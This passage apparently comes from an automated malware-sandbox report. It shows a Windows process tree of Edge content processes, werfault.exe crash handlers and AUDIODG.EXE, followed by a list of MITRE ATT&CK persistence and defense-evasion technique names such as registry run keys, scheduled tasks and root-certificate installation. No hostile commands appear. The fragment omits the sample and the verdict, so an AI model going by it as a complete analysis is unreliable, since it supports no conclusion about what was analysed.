C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8000
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2081⤵PID:12944
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:12420
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\e60c44d9bdca4872ba14e489028b7f7e /t 6036 /p 124881⤵PID:11352
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\a480a1f411e04574a298068f5f296719 /t 12256 /p 47401⤵PID:9984
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\18807eb0c53a494dbdf05f065dabd16a /t 12788 /p 127841⤵PID:9056
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:1664
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:9824
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:13128
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:12192
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:10348
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:11572
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:13248
Network
MITRE ATT&CK Enterprise v6
Persistence
Hidden Files and Directories
1Modify Existing Service
1Registry Run Keys / Startup Folder
2Scheduled Task
1Defense Evasion
Hidden Files and Directories
1Install Root Certificate
1Modify Registry
4Virtualization/Sandbox Evasion
1Web Service
1